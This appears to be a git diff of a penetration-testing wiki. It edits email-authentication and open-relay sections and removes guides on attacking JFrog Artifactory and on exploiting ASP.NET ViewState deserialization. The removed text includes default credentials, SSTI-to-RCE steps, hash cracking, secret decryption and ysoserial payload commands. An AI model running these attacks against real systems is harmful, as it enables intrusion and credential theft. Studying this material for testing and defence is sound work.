20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
```
|
||||
|
||||
### DMARC
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
Domain-based Message Authentication, Reporting & Conformance (DMARC) is a method of mail authentication that expands upon SPF and DKIM. Policies instruct mail servers how to process email for a given domain and report upon actions performed.
|
||||
|
||||
![](<../../.gitbook/assets/image (134).png>)
|
||||
DMARC enhances email security by building on SPF and DKIM protocols. It outlines policies that guide mail servers in the handling of emails from a specific domain, including how to deal with authentication failures and where to send reports about email processing actions.
|
||||
|
||||
**To obtain the DMARC record, you need to query the subdomain \_dmarc**
|
||||
|
||||
```shell-session
|
||||
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
|
||||
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
|
||||
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
|
||||
```bash
|
||||
# Reject
|
||||
dig _dmarc.facebook.com txt | grep DMARC
|
||||
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
|
||||
|
||||
root@kali:~# dig _dmarc.google.com txt | grep DMARC
|
||||
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
|
||||
# Quarantine
|
||||
dig _dmarc.google.com txt | grep DMARC
|
||||
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
|
||||
|
||||
root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
|
||||
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
|
||||
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
|
||||
# None
|
||||
dig _dmarc.bing.com txt | grep DMARC
|
||||
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
||||
```
|
||||
|
||||
PayPal and Yahoo instruct mail servers to reject messages that contain invalid DKIM signatures or do not originate from their networks. Notifications are then sent to the respective email addresses within each organization. Google is configured in a similar way, although it instructs mail servers to quarantine messages and not outright reject them.
|
||||
|
||||
#### DMARC tags
|
||||
|
||||
| Tag Name | Purpose | Sample |
|
||||
|
@ -406,16 +399,19 @@ This makes sense - a subdomain may very well be in a different geographical loca
|
|||
|
||||
### **Open Relay**
|
||||
|
||||
To prevent the sent emails from being filtered by spam filters and not reaching the recipient, the sender can use a **relay server that the recipient trusts**. Often, administrators **haven't overviewed** of which **IP** ranges they have to **allow**. This results in a misconfiguration of the SMTP server that we will still often find in external and internal penetration tests. Therefore, they **allow all IP addresses** not to cause errors in the email traffic and thus not to disturb or unintentionally interrupt the communication with potential and current customers:
|
||||
The use of a **relay server trusted by the recipient** can be a strategy to ensure that sent emails are not marked as spam and reach their intended destination. However, it has been observed that administrators often lack a detailed understanding of the **IP** ranges that should be **permitted**. This gap in knowledge can lead to misconfigurations in the SMTP server, a vulnerability that is commonly uncovered during both external and internal penetration tests. To circumvent this issue and avoid inadvertently disrupting email communication with potential and existing customers, administrators may opt to **permit all IP addresses**. This approach is reflected in the configuration of the SMTP server, where the `mynetworks` parameter is set to allow connections from any IP address:
|
||||
|
||||
```shell-session
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
||||
In order to test for an open mail relay, a tool such as `nmap` can be utilized. This tool is employed to scan the targeted server for the possibility of it functioning as an open relay, which can be indicated by the open relay script `smtp-open-relay`. The following command demonstrates how `nmap` is used to scan port 25 on the server with the IP address 10.10.10.10, providing verbose output:
|
||||
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
||||
|
||||
### **Tools**
|
||||
|
||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Check for SPF and DMARC misconfigurations**
|
||||
|
@ -561,6 +557,10 @@ sendmail.cf
|
|||
submit.cf
|
||||
```
|
||||
|
||||
## References
|
||||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
```
|
||||
|
|
|
@ -20,7 +20,7 @@ Other ways to support HackTricks:
|
|||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
**Extracted from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
**Commands from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
|
||||
|
|
|
@ -14,216 +14,7 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
|
||||
**This content was taken from** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
|
||||
# Artifactory basics <a href="#artifactory-basics" id="artifactory-basics"></a>
|
||||
|
||||
## Default users and passwords <a href="#default-users-and-passwords" id="default-users-and-passwords"></a>
|
||||
|
||||
Artifactory’s default accounts are:
|
||||
|
||||
| Account | Default password | Notes |
|
||||
| ------------ | ---------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| admin | password | common administration account |
|
||||
| access-admin | password (<6.8.0) or a random value (>= 6.8.0) | used for local administration operations only |
|
||||
| anonymous | ’’ | anonymous user to retrieve packages remotely, not enabled by default |
|
||||
|
||||
By default, no password locking policy is in place which makes Artifactory a prime target for credential stuffing and password spraying attacks.
|
||||
|
||||
## Authorizations <a href="#authorizations" id="authorizations"></a>
|
||||
|
||||
Ideally, this is what you should see when connecting to Artifactory:
|
||||
|
||||
![Login page](https://www.errno.fr/artifactory/artif\_login.png)
|
||||
|
||||
On the other hand, if you’re greeted with something more akin to this:
|
||||
|
||||
![Default page](https://www.errno.fr/artifactory/artif\_default.png)
|
||||
|
||||
It means that “Anonymous access” has been enabled in the administration panel, which is a common setting used to let applications retrieve artifacts without hassle but lets you, the attacker, see more than is preferable.
|
||||
|
||||
## Checking account rights <a href="#checking-account-rights" id="checking-account-rights"></a>
|
||||
|
||||
Sometimes, because of a misconfiguration, anonymous is allowed to deploy files to some repositories!
|
||||
|
||||
To check which repositories the anonymous user can deploy to, use the following request:
|
||||
|
||||
```
|
||||
curl http://localhost:8081/artifactory/ui/repodata?deploy=true
|
||||
{"repoList":["artifactory-build-info","example-repo-local"]}
|
||||
```
|
||||
|
||||
If there are any `repoKey` entries in the request, anonymous can deploy to these, which is really really bad. You definitely should be authenticated to deploy any files.
|
||||
|
||||
This can be generalized to other accounts once you get a password or token for them.
|
||||
|
||||
## Listing users <a href="#listing-users" id="listing-users"></a>
|
||||
|
||||
For some reason listing users is a right reserved to admins only. I found an alternate way to list users (those that are actively deploying at least) that relies on the “Deployed By” value of artifacts:
|
||||
|
||||
![Deployed By](https://www.errno.fr/artifactory/artif\_deployed\_by.png)
|
||||
|
||||
[This script](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a) simply tries to recursively find all the users that have deployed artifacts. Note that it could take a while to complete if there are a lot of repositories (>1000).
|
||||
|
||||
```
|
||||
./artifactory_list_users.py http://127.0.0.1:8081/artifactory
|
||||
There are 23 repositories to process
|
||||
Found user admin
|
||||
Found user test
|
||||
Found user user
|
||||
Found user test_deploy
|
||||
```
|
||||
|
||||
## Permissions <a href="#permissions" id="permissions"></a>
|
||||
|
||||
Here are the basic permissions and their usefulness:
|
||||
|
||||
* Manage: ?
|
||||
* Delete/Overwrite: interesting for pentest
|
||||
* Deploy/Cache: interesting for pentest
|
||||
* Annotate: necessary for CVE-2020-7931
|
||||
* Read: usually a default permission
|
||||
|
||||
# Known vulnerabilities <a href="#known-vulnerabilities" id="known-vulnerabilities"></a>
|
||||
|
||||
Here is a curated list of high impact public vulnerabilities:
|
||||
|
||||
## CVE-2016-10036: Arbitrary File Upload & RCE (<4.8.6) <a href="#cve-2016-10036-arbitrary-file-upload--rce-486" id="cve-2016-10036-arbitrary-file-upload--rce-486"></a>
|
||||
|
||||
[Details here.](https://www.exploit-db.com/exploits/44543)
|
||||
|
||||
This one is getting a bit old and it’s unlikely you’ll stumble on such an outdated Artifactory version. Nevertheless it’s quite effective, as it is a simple directory traversal which nets arbitrary code execution at the Tomcat level.
|
||||
|
||||
## CVE-2019-9733: Authentication bypass (<6.8.6) <a href="#cve-2019-9733-authentication-bypass-686" id="cve-2019-9733-authentication-bypass-686"></a>
|
||||
|
||||
[Original advisory here.](https://www.ciphertechs.com/jfrog-artifactory-advisory/)
|
||||
|
||||
On older versions of Artifactory (up to 6.7.3), the `access-admin` account used a default password `password`.
|
||||
|
||||
This local account is normally forbidden to access the UI or API, but until version 6.8.6 Artifactory could be tricked into believing the request emanated locally if the `X-Forwarded-For` HTTP header was set to `127.0.0.1`.
|
||||
|
||||
## CVE-2020-7931: Server-Side Template Injection (Artifactory Pro) <a href="#cve-2020-7931-server-side-template-injection-artifactory-pro" id="cve-2020-7931-server-side-template-injection-artifactory-pro"></a>
|
||||
|
||||
[Original advisory here.](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md)
|
||||
|
||||
Here’s a [tool I wrote](https://github.com/gquere/CVE-2020-7931) to automate the exploitation of this vulnerability.
|
||||
|
||||
These are required for exploitation:
|
||||
|
||||
* a user with deploy (create files) and annotate (set filtered) rights
|
||||
* Artifactory Pro
|
||||
|
||||
The vulnerability is rather simple: if a deployed resource is set to filtered it is interpreted as a Freemarker Template, which gives the attacker a SSTI attack window. ![Filtered Resource](https://www.errno.fr/artifactory/artif\_filtered.png)
|
||||
|
||||
Here are the implemented primitives:
|
||||
|
||||
* basic filesystem reads
|
||||
* limited filesystem writes
|
||||
|
||||
These should be enough to give you remote code execution in a number of manners, from the easiest/quietest to the hardest/noisiest:
|
||||
|
||||
* reading a secret on the filesystem that lets you pivot (/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa …)
|
||||
* adding an SSH key to the user
|
||||
* deploying a .war to execute a servlet
|
||||
* deploying an Artifactory Groovy user script
|
||||
|
||||
### .war stories: Java renameTo() shenanigans <a href="#war-stories-java-renameto-shenanigans" id="war-stories-java-renameto-shenanigans"></a>
|
||||
|
||||
This is a little story of how I banged my head against the wall for hours if not days during a pentest. I came accross an outdated Artifactory which I knew was vulnerable to CVE-2020-7931. I deployed the original’s advisory SSTI template and started perusing through the filesystem. It seemed that Artifactory had been installed in a non-standard location, which isn’t too unusual as admins like to keep separated partitions between application binaries, data, logs and configuration (this is a good thing!). There were no SSH keys or passwords in the user’s home directory that would have provided me with an easy pivot, so there came the time to be less discreet and write to the filesystem. Dropping the initial payload (a public key) in Artifactory’s upload directory went fine, but I just couldn’t manage to move it to the SSH keys directory. So I went back to my exploitation sandbox, tested it again and lo and behold, it worked fine. So there had to be a different configuration that prevented me from completing the `renameTo()` method. At this point it’s always a good idea to [check the documentation](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-) … which clearly states that you cannot rename files accross different filesystems, which I guess makes sense depending on the implementation of the method, i.e. if it works at an inode level. Arg.
|
||||
|
||||
Remember what I said about admins liking partitions? Well, this is a case of an admin unbeknownstingly hardening his setup against my exploit! So I had to dig into what is essentially a Java jail to find another method that would let me write a file to disk. And that wasn’t fun at all, as I’m not familiar with any of the things involved: FTL Templates, Java, Tomcat/Catalina. I quickly discovered that regular Java jail escapes just wouldn’t cut it, as instatiating new classes was forbidden. After hours of reading the Java and Catalina classes documentation, I finally found a write() method on a object which I could reach. But it was limited to the web application’s base path… So then I thought of combining the write to another filesystem and the `renameTo()` accross this newly reachable filesystem to hopefully be able to write anywhere? And it kinda worked. I managed to write out of the temporary upload dir … but not so far from it as now I was stuck on another filesystem which was the mountpoint to all things artifactory: configuration, application and stuff. So still no SSH key for me.
|
||||
|
||||
Okay, I could write to the artifactory root folder, surely I could do something here? Hey, default Tomcat automatically does deploy WAR files written to its application path, doesn’t it? So I used msfvenom to generate a JSP webshell packed in a WAR file and tested it in my sandbox… well it got deployed alright, but netted me no command execution. Seems like default Tomcat doesn’t handle JSPs. Ugh. Getting increasingly frustrated, I looked for another way to execute code in Tomcat, and found another execution method using servlets. Couldn’t find an appropriate payload so fuck it, I’m all in at this point and [rolled my own which you can find here](https://github.com/gquere/javaWebShell). Tested it in the sandbox, works, ok. Put it on target, deploys and … nada. Turns out, there was a proxy in front of artifactory that rewrote all URLs to /artifactory. So even though my backdoor was deployed and running, there was no way for me to access it… If there was some remote code execution to achieve at this point, it would have to be in Artifactory’s context, not Tomcat’s.
|
||||
|
||||
Come next morning, I’m sobbing at my desk looking a last time at Artifactory’s documentation in vain hopes of an epiphany. And then the magical words “Groovy scripts” appeared. Turns out there’s a convoluted way to execute Groovy scripts, by writing them to disk then reloading them through the API. Saved at last! So I popped a Groovy reverseshell to machine and that was the end of that. Still wish I had found a cleaner method that would have written anywhere on the filesystem using the SSTI, but I sure wasn’t going to back to developping!
|
||||
|
||||
Fortunately, all pentests don’t go like this :)
|
||||
|
||||
# Post-Exploitation <a href="#post-exploitation" id="post-exploitation"></a>
|
||||
|
||||
The following are only useful once you’ve achieved remote code execution or arbitrary file read on the server and might help you pivoting to another machine.
|
||||
|
||||
## Storage of passwords and external secrets <a href="#storage-of-passwords-and-external-secrets" id="storage-of-passwords-and-external-secrets"></a>
|
||||
|
||||
### Local passwords <a href="#local-passwords" id="local-passwords"></a>
|
||||
|
||||
Local artifactory passwords are stored in either salted MD5 or bcrypt form, the former being deprecated.
|
||||
|
||||
MD5 passwords are always salted with the hardcoded the spring value `{CAFEBABEEBABEFAC}`, and are using simple concatenation with no rounds, i.e. `hash = md5(password + salt)`. The database says the salt is `CAFEBABEEBABEFAC` but trust me, it’s `{CAFEBABEEBABEFAC}`, I had a hard time finding it :)
|
||||
|
||||
Cracking these MD5 passwords requires using a dynamic mode for JtR:
|
||||
|
||||
```
|
||||
cat artifactory.hashes
|
||||
user:1f70548d73baca61aab8660733c7de81${CAFEBABEEBABEFAC}
|
||||
john artifactory.hashes --format=dynamic_1
|
||||
Loaded 1 password hash (dynamic_1 [md5($p.$s) (joomla) 256/256 AVX2 8x3])
|
||||
password (user)
|
||||
```
|
||||
|
||||
The other type of bcrypt password requires nothing special, it’s just a standard bcrypt hash:
|
||||
|
||||
```
|
||||
cat artifactory_bcrypt.hashes
|
||||
admin:$2a$08$EbfHSAjPLoJnG/yHS/zmi.VizaWSipUuKAo7laKt6b8LePPTfDVeW
|
||||
john artifactory_bcrypt.hashes
|
||||
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
|
||||
password (admin)
|
||||
```
|
||||
|
||||
### Remote secrets <a href="#remote-secrets" id="remote-secrets"></a>
|
||||
|
||||
Artifactory may need to store secrets to identify to remote services. These secrets aren’t hashed of course, they’re stored encrypted on the disk, with the key next to them. There are two types of secrets mentionned in the [official documentation](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/).
|
||||
|
||||
**Old format (<5.9): DES-EDE**
|
||||
|
||||
TODO. [Open an issue if you have sample encrypted data](https://github.com/gquere/ArtifactoryDecryptor).
|
||||
|
||||
**New format (>=5.9): AES128-CBC encryption, stored as base58**
|
||||
|
||||
External secrets (such as passwords of remote servers) are found in the [configuration descriptors](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor), e.g. `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml` and look like:
|
||||
|
||||
```
|
||||
<keyStorePassword>AM.25rLQ.AES128.vJMeKkaK6RBRQCUKJWvYEHUw6zs394X1CrRugvJsQGPanhMgQ5be8yjWDhJYC4BEz2KRE</keyStorePassword>
|
||||
```
|
||||
|
||||
Where:
|
||||
|
||||
* `AM` always denotes an artifactory encrypted secret
|
||||
* `25rLQ` is the secret identifier that has to match the key’s identifier
|
||||
* `AES128` obviously is the algorithm used
|
||||
* `vJMeK...KRE` is the base58 encoding of `IV_SIZE|IV|secret|CRC`
|
||||
|
||||
More secrets can be found (tokens, configuration backups …) by using the following regexp:
|
||||
|
||||
```
|
||||
grep -r 'AM\..*\.AES128\.' /var/opt/jfrog/artifactory/
|
||||
```
|
||||
|
||||
The key is stored in `/var/opt/jfrog/artifactory/etc/security/artifactory.key` and looks like:
|
||||
|
||||
```
|
||||
JS.25rLQ.AES128.7fcJFd3Y2ib3wi4EHnhbvZuxu
|
||||
```
|
||||
|
||||
Where:
|
||||
|
||||
* `JS` denotes a key
|
||||
* `25rLQ` is a unique key identifier that keeps track of which key can decrypt which secrets
|
||||
* `AES128` obviously is the algorithm used
|
||||
* `7fcJFd3Y2ib3wi4EHnhbvZuxu` is the base58 encoding of the key and 2 bytes of CRC
|
||||
|
||||
This tool I wrote can be used offline to decrypt Artifactory secrets: [ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor).
|
||||
|
||||
# Defending Artifactory <a href="#defending-artifactory" id="defending-artifactory"></a>
|
||||
|
||||
If you’re the blue team or an Artifactory admin, by now you should have a pretty good idea of what to do:
|
||||
|
||||
* keep Artifactory up to date, especially when criticial updates are issued
|
||||
* implement a sound password policy (no default passwords, mandatory strong passwords, lockouts), preferably deferred to an external LDAP for better supervision
|
||||
* restrict accesses (respect the principle of least privilege), especially for the anonymous user
|
||||
|
||||
**Check this post:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Other ways to support HackTricks:
|
|||
|
||||
If the preload script exposes an IPC endpoint from the main.js file, the renderer process will be able to access it and if vulnerable, a RCE might be possible.
|
||||
|
||||
**All these examples were taken from here** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
|
||||
**All these examples were taken from here** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Check the video for further information.
|
||||
|
||||
# Example 1
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Other ways to support HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
In this POST it's going to be explained an example using java.io.Serializable.
|
||||
In this POST it's going to be explained an example using `java.io.Serializable`.
|
||||
|
||||
# Serializable
|
||||
|
||||
|
@ -24,6 +24,8 @@ The Java `Serializable` interface (`java.io.Serializable` is a marker interface
|
|||
Lets see an example with a **class Person** which is **serializable**. This class **overwrites the readObject** function, so when **any object** of this **class** is **deserialized** this **function** is going to be **executed**.\
|
||||
In the example, the **readObject function** of the class Person calls the function `eat()` of his pet and the function `eat()` of a Dog (for some reason) calls a **calc.exe**. **We are going to see how to serialize and deserialize a Person object to execute this calculator:**
|
||||
|
||||
**The following example is from [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
|
||||
|
||||
```java
|
||||
import java.io.Serializable;
|
||||
import java.io.*;
|
||||
|
@ -95,8 +97,6 @@ public class TestDeserialization {
|
|||
}
|
||||
```
|
||||
|
||||
This example was taken from [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)
|
||||
|
||||
## Conclusion
|
||||
|
||||
As you can see in this very basic example, the "vulnerability" here appears because the **readObject** function is **calling other vulnerable functions**.
|
||||
|
|
|
@ -14,256 +14,7 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
|
||||
**The content of this post was extracted from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
# Introduction
|
||||
|
||||
ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form.
|
||||
|
||||
It is normally possible to **run code on a web server where a valid ViewState can be forged**. This can be done when the **MAC validation** feature has been **disabled** or by knowing the:
|
||||
|
||||
* **Validation key and its algorithm** **prior** to .NET Framework version **4.5**
|
||||
* **Validation key, validation algorithm, decryption key, and decryption algorithm** in .NET Framework version 4.5 or above
|
||||
|
||||
In order to prevent manipulation attacks, .NET Framework can **sign and encrypt** the ViewState that has been serialised using the `LosFormatter` class. It then verifies the signature using the message authentication code (MAC) validation mechanism. The `ObjectStateFormatter` class performs the signing, encryption, and verification tasks. The **keys required to perform the signing and/or encryption** mechanism can be stored in the `machineKey` section of the **`web.config`** (application level) or **`machine.config`** (machine level) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the `machineKey` section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above:
|
||||
|
||||
```markup
|
||||
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
|
||||
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
|
||||
```
|
||||
|
||||
It should be noted that when a `machineKey` section has not been defined within the configuration files or when the `validationKey` and `decryptionKey` attributes have been set to `AutoGenerate`, the **application generates the required values dynamically** based on a cryptographically random secret. The algorithms can also be selected automatically. Currently in the latest version of .NET Framework, the default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`. See [\[13\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection) for more details.
|
||||
|
||||
# RCE with disabled ViewState MAC Validation
|
||||
|
||||
In the past, it was possible to **disable the MAC validation** simply by setting the `enableViewStateMac` property to `False`. Microsoft released a patch in September 2014 [\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/) to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “_the ViewState MAC can no longer be disabled_” [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET), it is s**till possible to disable the MAC validation feature by setting** the `AspNetEnforceViewStateMac` registry key to zero in:
|
||||
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
|
||||
Alternatively, adding the following **dangerous setting** to the application level `web.config` file can disable the MAC validation as well:
|
||||
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="true" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
When ViewState MAC validation has been **disabled**, the [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) project can be used to generate `LosFormatter` payloads as the ViewState in order to run arbitrary code on the server.
|
||||
{% endhint %}
|
||||
|
||||
**Prior** to the .NET Framework version **4.5**, the `__VIEWSTATE` parameter could be **encrypted whilst the MAC validation feature was disabled**. It should be noted that **most** **scanners** **do not attempt** to send an unencrypted ViewState parameter to identify this vulnerability. As a result, **manual** **testing** is required to check whether the MAC validation is disabled when the `__VIEWSTATE` parameter has been encrypted. This can be checked by sending a short random base64 string in the `__VIEWSTATE` parameter. The following URL shows an example:
|
||||
|
||||
```
|
||||
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
|
||||
```
|
||||
|
||||
If the target page **responds with an error, the MAC validation feature has been disabled** otherwise it would have suppressed the MAC validation error message.\
|
||||
However, in scenarios where you cannot see the error message this trick won't work.
|
||||
|
||||
Automated scanners should use a **payload that causes a short delay** on the server-side. This can be achieved by executing the following ASP.NET code as an example to create a 10-second delay:
|
||||
|
||||
```
|
||||
System.Threading.Thread.Sleep(10000);
|
||||
```
|
||||
|
||||
```bash
|
||||
string xaml_payload = @"<ResourceDictionary
|
||||
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
|
||||
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
|
||||
xmlns:System=""clr-namespace:System;assembly=mscorlib""
|
||||
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
|
||||
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
|
||||
<ObjectDataProvider.MethodParameters>
|
||||
<System:Int32>10000</System:Int32>
|
||||
</ObjectDataProvider.MethodParameters>
|
||||
</ObjectDataProvider>
|
||||
</ResourceDictionary>";
|
||||
```
|
||||
|
||||
# RCE with enabled ViewState MAC Validation
|
||||
|
||||
In older versions (**prior to 4.5**), .NET Framework uses the **`TemplateSourceDirectory`** property [\[15\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory) when **signing** a serialised object. **Since** version **4.5** however, it uses the **`Purpose`** strings in order to create the hash. Both of these mechanisms **require the target path from the root of the application directory** and the **page name**. These parameters can be **extracted from the URL**.
|
||||
|
||||
Applications that use an **older framework** and enforce ViewState encryption can **still accept a signed ViewState without encryption**. This means that **knowing the validation key and its algorithm is enough** to exploit a website. It seems ViewState is encrypted by default **since version 4.5** even when the `viewStateEncryptionMode` property has been set to `Never`. This means that in the latest .NET Framework versions the **decryption key and its algorithm are also required** in order to create a payload.
|
||||
|
||||
The ASP.NET ViewState contains a property called `ViewStateUserKey` [\[16\]](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969\(v=msdn.10\)) that can be used to mitigate risks of cross-site request forgery (CSRF) attacks [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET). Value of the **`ViewStateUserKey`** property (when it is not `null`**) is also used during the ViewState signing** process. Although not knowing the value of this parameter can stop our attack, **its value can often be found in the cookies or in a hidden input** parameter ([\[17\]](https://software-security.sans.org/developer-how-to/developer-guide-csrf) shows an implemented example).
|
||||
|
||||
## ViewState YSoSerial.Net plugins
|
||||
|
||||
In YSoSerial.Net master and YSoSerial.Netv2 you can find a plugin ([**this**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs) and [**this**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)) to exploit this technique when all the information is known.
|
||||
|
||||
### **For .NET Framework >= 4.5:**
|
||||
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
|
||||
### **For .NET Framework <= 4.0 (legacy):**
|
||||
|
||||
_The decryptionKey and its algorithm are not required here:_
|
||||
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
||||
```
|
||||
|
||||
_Apart from using different gadgets, it is possible to use the `__VIEWSTATEGENERATOR` parameter **instead of providing the paths**:_
|
||||
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
|
||||
_It uses the ActivitySurrogateSelector gadget by default that requires compiling the ExploitClass.cs class in YSoSerial.Net project. The ViewState payload can also be **encrypted** **to avoid WAFs when the decryptionKey value is known**:_
|
||||
|
||||
```bash
|
||||
